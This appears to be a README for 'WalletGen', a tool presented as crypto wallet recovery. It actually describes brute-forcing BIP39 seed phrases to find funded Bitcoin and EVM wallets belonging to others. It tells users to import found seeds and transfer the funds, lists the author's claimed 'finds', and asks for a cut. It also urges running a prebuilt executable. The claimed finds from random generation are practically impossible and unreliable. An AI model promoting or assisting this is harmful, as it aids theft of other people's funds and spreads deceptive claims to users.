Facing a lost BTC wallet? WalletGen is a high-speed, open-source tool that can help. It's designed for Bitcoin (BTC) recovery. WalletGen helps you find lost or inactive Ethereum (ETH), BNB, Polygon (MATIC), and other EVM-compatible wallets. It uses real-time balance checks and a high-performance C++ engine.
- How It Works
- Why WalletGen
- Features
- Download WalletGen
- Database Download
- The Program Found a Wallet - What Next?
- Recovery Your Bitcoin Wallet
- My Finds
- FAQ
- Build Instructions
- Donate
WalletGen generates wallets using BIP39, BIP44, and Bech32 for Bitcoin, and Keccak256 hashing for EVM-based chains like Ethereum.
The software compares generated addresses against databases or checks balances in real-time via blockchain explorers.
Wallet Gen is built in C++ and is open-source, allowing for modifications. Wallet Gen has significantly improved wallet generation speeds, using your CPU & GPU.
If you have a lost BTC wallet, WalletGen offers a path forward. With its efficient C++ code and optimization for multi-threaded CPU and GPU utilization, it delivers exceptional performance, up to 10x faster. If you're trying to recover your Bitcoin, WalletGen will work for you.
- Generate Cryptocurrency Wallets: Generates wallets for various cryptocurrencies.
- Search for Wallets with Balance: Uses brute-force techniques to find wallets.
- Algorithm Support: Has support for key algorithms.
- Database Integration: Allows use of databases to improve the speed.
- High Speed: Leverages your CPU and GPU power.
- Bitcoin Wallet Recovery: Helps recover a Bitcoin wallet.
- Bitcoin (BTC)
- Ethereum (ETH)
- Binance Smart Chain (BNB)
- Any EVM-compatible chain
- Download Release
- Unpack anywhere
- Run
WalletGen.exe
Or Just Download Installer
Use wget or download Release for Linux
Wallet Gen finds wallets with balances.
- Press key 3 in the menu or run start_search_btc.bat to search Bitcoin wallets.
- Press key 6 to search Bitcoin wallets using the database.
- Press key 5 or run start_search_evm.bat to search EVM wallets.
- Press key 6 to search EVM wallets using the database.
When the program finds a wallet:
- The search stops.
- The details are shown.
- The data is saved in the
found_wallets.txt
file.
- Import the mnemonic seed phrase from the found wallet into a crypto wallet.
- You’ll be able to transfer the funds.
WalletGen recovers your Bitcoin wallet.
Replace missing words with *.
Enter the full seed.
- Seed-phrase must contain exactly 12 words.
- Use only the * symbol.
- Searching may take time.
- Recovery stops the program.
I’ve recovered two BTC wallets with a balance. The first had 0.000032 BTC, the second contained 0.0528 BTC (roughly $4800 at the time of discovery). Here’s the link to the wallet: bc1qk3m62hx2hh5mhvc0tj45f9xflzcnu0sur3rvay.
After a week of non-stop wallet searching, I finally found a wallet with 0.25 bitcoin ($19k). This is my 4th and biggest find of all time.
bc1qpm0k3kcmthwsa4zseh33g3hl7eju8u8nkt83kp
- Open the project file (
CryptoWalletGen.sln
) in Visual Studio or any compatible C++ compiler. - Install the necessary dependencies and build the project.
> git clone https://github.com/microsoft/vcpkg
> .\vcpkg\bootstrap-vcpkg.bat
> .\vcpkg\vcpkg integrate install
> .\vcpkg\vcpkg install openssl:x64-windows
- Start building the project.
You can download the WalletGen given on the release download page
You can download the current database given on the release page
Yes. WalletGen uses brute-force seed generation and a known-address database to help users potentially recover lost Bitcoin wallets.
Yes. WalletGen can generate BIP39 seed phrases and derive wallets for Bitcoin, Ethereum, and other EVM chains.
No. Searching through the database does not require an internet connection, as the wallet balance is already known.
Yes. WalletGen supports scanning for Ethereum wallets with balance using brute-force and a database of known addresses.
WalletGen is intended for educational and research purposes only. It should only be used on wallets you own or have permission to access.
- Search for missing words in a seed phrase. - Done!
Contributions are welcome! If you have ideas, bug reports, or want to contribute to the codebase, feel free to submit a pull request.
I encourage you, when you find a wallet with a balance, to send me a small portion as a thank you. This motivates me to keep working on the program!
BTC: bc1qeyrshy5ntsguwxe9m8tp2x2yqhddz7ymkj44h9
ETH: 0x76c2E75B92Eb340f01B378e332FC7d8954893693
This project uses code from the Trezor project. The code is licensed under the MIT License.
This project is licensed under the MIT License